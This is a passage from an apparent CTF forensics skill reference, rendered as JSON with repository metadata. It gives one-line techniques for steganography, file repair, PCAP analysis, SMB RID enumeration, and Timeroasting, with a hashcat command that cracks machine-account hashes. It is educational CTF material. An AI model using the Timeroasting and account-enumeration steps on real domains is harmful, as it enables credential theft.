","type":"text"},{"text":"CByte((val-78)/3)","type":"text","marks":[{"type":"code_inline"}]},{"text":" transforms to ELF bytes. Reimplement in Python, never run the macro. See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md#vba-macro-forensics---excel-cell-data-to-elf-binary-sharif-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"RGB parity steganography:","type":"text","marks":[{"type":"strong"}]},{"text":" Sum R+G+B per pixel; even=white, odd=black renders hidden binary bitmap. See ","type":"text"},{"text":"stego-image.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-image.md#rgb-parity-steganography-break-in-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Hidden PDF objects:","type":"text","marks":[{"type":"strong"}]},{"text":" Unreferenced content stream objects not in ","type":"text"},{"text":"/Kids","type":"text","marks":[{"type":"code_inline"}]},{"text":" array. Add to ","type":"text"},{"text":"/Kids","type":"text","marks":[{"type":"code_inline"}]},{"text":", increment ","type":"text"},{"text":"/Count","type":"text","marks":[{"type":"code_inline"}]},{"text":", re-render. See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md#unreferenced-pdf-objects-with-hidden-pages-sharifctf-7-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Arnold's Cat Map descrambling:","type":"text","marks":[{"type":"strong"}]},{"text":" Periodic chaotic transform on square images; iterate forward map until original reappears. Period divides ","type":"text"},{"text":"3*N","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"stego-advanced-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced-2.md#arnolds-cat-map-image-descrambling-nuit-du-hack-2017","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Python in-memory source recovery:","type":"text","marks":[{"type":"strong"}]},{"text":" Attach ","type":"text"},{"text":"pyrasite-shell","type":"text","marks":[{"type":"code_inline"}]},{"text":" to running Python process, decompile ","type":"text"},{"text":"func_code","type":"text","marks":[{"type":"code_inline"}]},{"text":" objects with ","type":"text"},{"text":"uncompyle6","type":"text","marks":[{"type":"code_inline"}]},{"text":" (Python \u003c=3.8) or ","type":"text"},{"text":"pycdc","type":"text","marks":[{"type":"code_inline"}]},{"text":" (Python 3.9+), dump ","type":"text"},{"text":"globals()","type":"text","marks":[{"type":"code_inline"}]},{"text":" for secrets. See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md#python-in-memory-source-recovery-via-pyrasite-insomnihack-2017","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"HFS+ resource fork recovery:","type":"text","marks":[{"type":"strong"}]},{"text":" Hidden data in HFS+ Resource Forks invisible to ","type":"text"},{"text":"binwalk","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"foremost","type":"text","marks":[{"type":"code_inline"}]},{"text":"; use HFSExplorer + 010 Editor HFS template to extract extent records. See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md#hfs-resource-fork-hidden-binary-recovery-confidence-ctf-2017","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Serial UART from WAV audio:","type":"text","marks":[{"type":"strong"}]},{"text":" Square wave in audio encodes UART serial data; determine baud rate, parse start/stop bits, decode LSB-first byte frames. See ","type":"text"},{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md#serial-uart-data-decoding-from-wav-audio-easyctf-2017","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"High-resolution SSTV demodulation:","type":"text","marks":[{"type":"strong"}]},{"text":" Standard SSTV decoders fail on high-sample-rate recordings; use manual FM demodulation via ","type":"text"},{"text":"arccos","type":"text","marks":[{"type":"code_inline"}]},{"text":" + differentiation. See ","type":"text"},{"text":"stego-advanced-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced-2.md#high-resolution-sstv-custom-fm-demodulation-plaidctf-2017","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Corrupted ZIP header repair:","type":"text","marks":[{"type":"strong"}]},{"text":" Fix filename length fields in both Local File Header (offset 26) and Central Directory (offset 28); fallback: brute-force raw deflate at candidate offsets. See ","type":"text"},{"text":"disk-recovery.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-recovery.md#corrupted-zip-repair-via-header-field-manipulation-plaidctf-2017","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SQLite edit history reconstruction:","type":"text","marks":[{"type":"strong"}]},{"text":" Replay insert/remove diffs from SQLite diff table to reconstruct document at every intermediate state; flag may have been typed then deleted. See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md#sqlite-edit-history-reconstruction-from-diff-table-google-ctf-2017","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"MJPEG FFD9 trailing byte stego:","type":"text","marks":[{"type":"strong"}]},{"text":" Extra bytes after JPEG EOI marker (FFD9) in MJPEG frames create invisible covert channel; split on FFD8, extract post-FFD9 data. See ","type":"text"},{"text":"stego-advanced-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced-2.md#mjpeg-extra-bytes-after-ffd9-steganography-polictf-2017","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"USB MIDI Launchpad grid reconstruction:","type":"text","marks":[{"type":"strong"}]},{"text":" MIDI Note On/Off in USB PCAP maps to 8x8 Launchpad grid (","type":"text"},{"text":"key = row*16 + col","type":"text","marks":[{"type":"code_inline"}]},{"text":"); reconstruct visual patterns from button press sequences. See ","type":"text"},{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md#usb-midi-launchpad-traffic-reconstruction-sthack-2017","title":null}}]},{"text":".","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"SMB RID Recycling via LSARPC (Midnight 2026)","type":"text"}]},{"type":"paragraph","content":[{"text":"Enumerate AD accounts from PCAP by analyzing LSARPC ","type":"text"},{"text":"LsaLookupSids","type":"text","marks":[{"type":"code_inline"}]},{"text":" calls with sequential RIDs after Guest auth. Filter: ","type":"text"},{"text":"dcerpc.cn_bind_to_str contains lsarpc","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md#smb-rid-recycling-via-lsarpc-midnight-2026","title":null}}]},{"text":" for full RPC call sequence and Wireshark filters.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Timeroasting / MS-SNTP Hash Extraction (Midnight 2026)","type":"text"}]},{"type":"paragraph","content":[{"text":"Extract crackable HMAC-MD5 hashes from MS-SNTP responses by sending NTP requests with machine account RIDs. Crack with ","type":"text"},{"text":"hashcat -m 31300","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Extract NTP payloads, convert to hashcat format, crack\ntshark -r capture.pcapng -Y \"ntp && ip.src == \u003cDC_IP>\" -T fields -e udp.payload\nhashcat -m 31300 -a 0 -O hashes.txt rockyou.txt --username","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md#timeroasting--ms-sntp-hash-extraction-midnight-2026","title":null}}]},{"text":" for payload parsing script and full attack chain.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"HTTP Exfiltration in PCAP","type":"text"}]},{"type":"paragraph","content":[{"text":"Quick path:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"tshark --export-objects http,/tmp/objects","type":"text","marks":[{"type":"code_inline"}]},{"text":" extracts uploaded files instantly. Check for multipart POST uploads, unusual User-Agent strings, and exfiltrated files (images with flag text). See ","type":"text"},{"text":"network.md","type":"text","marks":[{"type":"link","attrs":{"href":"network.md#http-file-upload-exfiltration-in-pcap-metactf-2026","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Common Encodings","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"echo \"base64string\" | base64 -d\necho \"hexstring\" | xxd -r -p\n# ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"ROT18:","type":"text","marks":[{"type":"strong"}]},{"text":" ROT13 on letters + ROT5 on digits. Common final layer in multi-stage forensics. See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":" for implementation.","type":"text"}]}]},"metadata":{"date":"2026-06-05","name":"ctf-forensics","author":"@skillopedia","source":{"stars":2252,"repo_name":"ctf-skills","origin_url":"https://github.com/ljagiello/ctf-skills/blob/HEAD/ctf-forensics/SKILL.md","repo_owner":"ljagiello","body_sha256":"912d5a9b446e104818b26a1b8adf96c547c80232a594948ed278cca3840c0aff","cluster_key":"f08ce867a5551945b60449950e2609e4de1efdcf868da32da05af82efd025e5b","clean_bundle":{"format":"clean-skill-bundle-v1","source":"ljagiello/ctf-skills/ctf-forensics/SKILL.md","attachments":[{"id":"1c1e5d18-5bfc-59bb-904e-cbe55cacd091","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/1c1e5d18-5bfc-59bb-904e-cbe55cacd091/attachment.md","path":"3d-printing.md","size":4210,"sha256":"692cbb9502427693aab97be70a06cb84b7db7c777e9f37d9554dd9ffa595d3f8","contentType":"text/markdown; charset=utf-8"},{"id":"991e942f-4433-5386-8d4f-ef0ce364ded3","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/991e942f-4433-5386-8d4f-ef0ce364ded3/attachment.md","path":"disk-advanced.md","size":21034,"sha256":"3ac76f151c22a99ed59acf82681d49c1a3b024e612e05701e26c58edce1f2018","contentType":"text/markdown; charset=utf-8"},{"id":"38ff0888-6d42-53e7-8d96-4e28c2039b66","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/38ff0888-6d42-53e7-8d96-4e28c2039b66/attachment.md","path":"disk-and-memory.md","size":20086,"sha256":"1c239b45e22c191754bcd3dd79ba2c0a9699f3bf6a72be1526d7c40744694ecb","contentType":"text/markdown; charset=utf-8"},{"id":"ad80a2d0-acd2-57f8-b865-8051f4c39bdd","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/ad80a2d0-acd2-57f8-b865-8051f4c39bdd/attachment.md","path":"disk-recovery.md","size":31594,"sha256":"5ec827477b486c3ebe07e07cd49b01c7806330486f6f025696527691e4763c6c","contentType":"text/markdown; charset=utf-8"},{"id":"3b31a30a-8c57-5ce7-8198-50bdced73e67","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/3b31a30a-8c57-5ce7-8198-50bdced73e67/attachment.md","path":"linux-forensics.md","size":18983,"sha256":"ecd6108d6fe44dd83530f3d7fed7ccf7d2e5703ae48c4f06fc4e65e43e081798","contentType":"text/markdown; charset=utf-8"},{"id":"7edb868f-63db-5e7d-b80d-8ce5e2a80f82","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/7edb868f-63db-5e7d-b80d-8ce5e2a80f82/attachment.md","path":"network-advanced.md","size":26373,"sha256":"643807da97c3e4bf68cf5e8719c3adddde8426ef8c86342a23f033bbf2032bbe","contentType":"text/markdown; charset=utf-8"},{"id":"445a35f1-fb97-5f38-8dad-65044e77c789","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/445a35f1-fb97-5f38-8dad-65044e77c789/attachment.md","path":"network.md","size":22311,"sha256":"3a3f98f07821a70e7ab516ca2b76f2f35f2ac37043ec31a2e0eda64b22481a9f","contentType":"text/markdown; charset=utf-8"},{"id":"54f2b979-042e-5dcd-8d06-45d8fe2e3c1a","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/54f2b979-042e-5dcd-8d06-45d8fe2e3c1a/attachment.md","path":"peripheral-capture.md","size":12369,"sha256":"377fcfa7f219586494616670d18f681354afc0fa21410b6dbe1378bd0fce1c6f","contentType":"text/markdown; charset=utf-8"},{"id":"1c1eabc1-28f2-5efa-8123-fd94dbf86a6c","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/1c1eabc1-28f2-5efa-8123-fd94dbf86a6c/attachment.md","path":"signals-and-hardware.md","size":29146,"sha256":"3bb2bcf6346a5bd2ad0d2bce67d22668f8d402f966a25be2016edcb915becd64","contentType":"text/markdown; charset=utf-8"},{"id":"1a371fbf-6c5c-5374-9713-f0145fe1840c","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/1a371fbf-6c5c-5374-9713-f0145fe1840c/attachment.md","path":"steganography.md","size":30660,"sha256":"2774d7a8e9333b8e52c02eb5d47e027d54a6db54107543f011c55cea20354114","contentType":"text/markdown; charset=utf-8"},{"id":"3fb52699-1b6c-5c24-b826-3a3c12243569","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/3fb52699-1b6c-5c24-b826-3a3c12243569/attachment.md","path":"stego-advanced-2.md","size":20921,"sha256":"14d28c569fe3325b978d4007bc5eeb678d0b8750f98e10f8f0584dae051f64de","contentType":"text/markdown; charset=utf-8"},{"id":"ee2e1476-30ee-588f-9ff7-7520fd5f849e","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/ee2e1476-30ee-588f-9ff7-7520fd5f849e/attachment.md","path":"stego-advanced.md","size":19975,"sha256":"4ca43f439d9acb71f607535e1e91fd411384adf5153f87d76cf440e4a545f794","contentType":"text/markdown; charset=utf-8"},{"id":"7842857a-e25b-567f-9c08-7cf837d82f66","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/7842857a-e25b-567f-9c08-7cf837d82f66/attachment.md","path":"stego-image.md","size":30398,"sha256":"8b12770c2be57443e854345d55e47663fee8de70f5ded751759414a107c30f49","contentType":"text/markdown; charset=utf-8"},{"id":"f04a361b-a917-51ad-afe9-31a24647dad5","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/f04a361b-a917-51ad-afe9-31a24647dad5/attachment.md","path":"windows.md","size":22479,"sha256":"c23e7de4e511aa106059e6e00019ff4f264e1893a78839613ab477fc3cee2ace","contentType":"text/markdown; charset=utf-8"}],"bundle_sha256":"82b9e5870fc9bb86cbb1e672414a177e8aea8f9c93297de558bcf46ede64341e","attachment_count":14,"text_attachments":14,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":0,"excluded_attachments":[]},"cluster_size":1,"skill_md_path":"ctf-forensics/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"devops-infrastructure","category_label":"DevOps"},"exact_dupes_collapsed_into_this":0},"license":"MIT","version":"v1","category":"devops-infrastructure","metadata":{"user-invocable":"false"},"import_tag":"clean-skills-v1","description":"Provides digital forensics and signal analysis techniques for CTF challenges. Use when analyzing disk images, memory dumps, event logs, network captures, cryptocurrency transactions, steganography, PDF analysis, Windows registry, Volatility, PCAP, Docker images, coredumps, side-channel power traces, DTMF audio spectrograms, packet timing analysis, CD audio disc images, or recovering deleted files and credentials.","allowed-tools":"Bash Read Write Edit Glob Grep Task WebFetch WebSearch","compatibility":"Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation."}},"renderedAt":1782987180522}

CTF Forensics & Blockchain Quick reference for forensics CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Ruby gems (all platforms): Additional Resources - 3d-printing.md - 3D printing forensics (PrusaSlicer binary G-code, QOIF, heatshrink) - windows.md - Windows forensics (registry, SAM, event logs, recycle bin, NTFS alternate data streams, USN journal, PowerShell history, Defender MPLog, WMI persistence, Amcache) - network.md - Network forensics basics (tcpdump, TLS/SSL k…